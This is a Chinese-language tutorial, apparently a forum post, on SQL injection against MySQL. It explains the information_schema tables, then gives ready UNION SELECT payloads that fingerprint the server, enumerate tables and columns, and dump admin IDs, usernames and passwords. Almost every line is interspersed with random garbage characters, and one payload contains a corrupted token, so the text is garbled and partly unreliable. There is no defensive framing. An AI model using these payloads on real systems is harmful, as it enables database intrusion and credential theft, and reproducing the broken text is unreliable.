本文介绍MYSQL盲注的一些语句和方法% r, z. H3 u4 Q8 V7 g2 X* [1 Q
8 R- x2 J6 M. b% T- {/ w6 |: X学习盲注前先了解下 IFORMATION_SCHEMA 库! B4 ?; K$ o' ~4 f6 H3 y
I6 ^' k( u7 c- Z4 J4 X; z9 O
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有4 r$ l) K6 k( { }' F, r/ {
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
4 P$ k) [' B5 L3 { Z% X1.得到所有数据库名:' D( p& h: X6 e; q2 @5 J
|SCHEMATA ->存储数据库名的表
$ h' b$ x% n; q" x8 V6 ~. B|---字段:SCHEMA_NAME ->数据库名称5 O; Q4 e# ?+ |& g
: j$ u, t1 j9 b. q' R2 e|TABLES ->存储表名
9 d } g$ l' j. f" E- s8 y|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名% d8 c, b, ?7 ~) {
|---字段:TABLE_NAME ->存储表的表名# u* ?4 O, u- t8 j! S3 _
+ ~$ A; f* ]( _& y8 V
|COLUMNS ->存储的字段名表
$ G# s& _' v% g1 o, T|---字段:TABLE_SCHEMA ->该字段所属数据库名
/ d4 r* w, w) B6 e3 L- C$ y2 T7 h|---字段:TABLE_NAME ->存储所属表的名称
' `" e7 U7 F! W1 b4 S3 }" P& |
7 A& w* P0 e. e% j8 d& S|---字段:COLUMN_NAME ->该字段的名称
3 b2 y0 ~ V# z8 u o8 P' D y _% h2 [! T# J7 N
! ?$ l9 {3 L/ s+ g& C5 o$ s! E* i' b. E. o6 ? Q/ G% Q/ G
###########################################################################! N, g* m1 V+ F/ \" u7 a
- d( b3 T W/ J: o7 e+ U0x001 获取系统信息:& m% V/ n+ \ S) [
7 r1 y1 i$ s& M8 E0 W8 u
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*( s2 y+ n. P n, g
# O3 F- t F: S' @8 P/*6 w8 ?0 i1 s/ Z' \% d' o% c
) i# F* y* i- x1 q8 ~$ I7 K@@global.version_compile_os 获取系统版本
: x1 w) u* k, _% R2 B
9 A# k6 Q+ c( c! ?( N( w@@datadir 数据库路径
# j+ _; V6 V( W: Y2 Qdatabase() 当前数据库名称
; F* L( T8 q, D6 v% n2 E; Y: @0x3c62723e 换行HEX值, H) F! v. v% l% B
/ d) H; V: ]. i& g9 E- f2 c
*/
2 T, r! [8 G- ]8 t, T9 l
# T! P1 ]' b. D) G( q
" z$ Q8 I3 d' O, F1 W O2 y; T$ O1 Y0 n$ L7 f
######################################################################& v4 M2 m0 q+ [+ O1 I. u% [" U8 x# X
8 _( a1 R% s( T1 o. a7 Y
0x002 获取表名
2 V+ ]; V8 k- j$ q& L- I7 _% {. W
5 r- c, J# i" E/ h0 Z# kunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*. o9 f, Y/ F( {$ V
. w2 L# O# U* R6 {; u8 T [ * T0 {: Z `- [) K* s* x& s; c
2 s1 h( K" q( H/*
! l8 G* X' @% I' {. I2 T
. Z7 n) q5 }/ a5 P8 b ?% G4 y# a: ~0x67617264656e 为当前数据库名
0 h3 ~; J& T& S
5 p# s4 @1 v( Y8 Zgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名$ f4 x% q9 M# U6 o* V$ W2 u: s. n
& b E; A% s% R! o! K*/
: u& t: v3 H9 {1 w" Z6 a: [' I, ^! Q
######################################################################
9 x; r2 R5 S; {7 V W, n& U1 q" \- D; D6 U1 H5 x& V# W
4 R% A8 @5 B- m: q! U; j" C0 P; p/ u" H, E" v, S: \
0x003 获取字段
- |0 u( p: x2 C8 F
3 Y' I, x" e1 Q3 ]2 @5 c9 Q/ N; iunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*5 L1 }9 [5 a( S5 d N0 b: U
3 l: R) H, w$ b1 }. g2 ?
/*9 }* ?4 r6 \2 J( l
5 O8 Z/ p* l1 T) q, T$ R
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段* K, t$ ]4 k7 `# m$ K
8 Z( @8 t* j, q
0x61646d696e ->选择一个表) t9 u# o/ i! L* g% R* C% |
4 ?" n Q* a. Y( ?) ]4 w4 X$ S0x67617264656e ->数据库名
S6 X ~2 c& P3 |' ^* g. E, E. ?0 C- B4 |9 E
*/
. o* G! N1 {9 ~, s6 z; F, U; |% n+ {/ q' n- K4 g) S
#####################################################################7 E7 W* C) ^# w& F5 b; k2 E9 s
; X7 ^7 Z) V% l* m. _ 9 C" c+ y! u) d4 j) r; x9 r0 {3 v
, X0 Z9 D0 w( r. O
0x004 获取数据7 W V4 u1 r9 v" x. V5 g- [
8 P, s7 A+ o% O- c, V4 F# I# x
union select 1,2,3! ~- |; a) v \! s& ]) K
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
+ ^7 b6 I1 \+ @7 W1 t S& t( z- z# s/ \4 m3 L- A
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
1 Z. S8 e) C4 J0 I/ ?! T$ }
. c& k9 C! p% V1 I$ T0 u ! b7 y' Q$ O9 t
8 n: r" x5 b5 w. n. D H1 I8 _/*
9 X8 P' h& P0 Z4 ^% T' a' v- O8 q1 N3 ]' S& K l3 h
0x3c62723e 换行符号HEX编码
# v' J0 A* G( a, r
4 N! h+ U% O' Q$ M; t) fgroup_concat 同时获得该字段所有数据
: g7 q$ F$ `7 h! p4 D, p
( \4 k3 e0 \" E. M*/! f6 T j% J+ w+ y- k% D- J' V
7 D3 H$ u X3 M. {5 @- y' i
|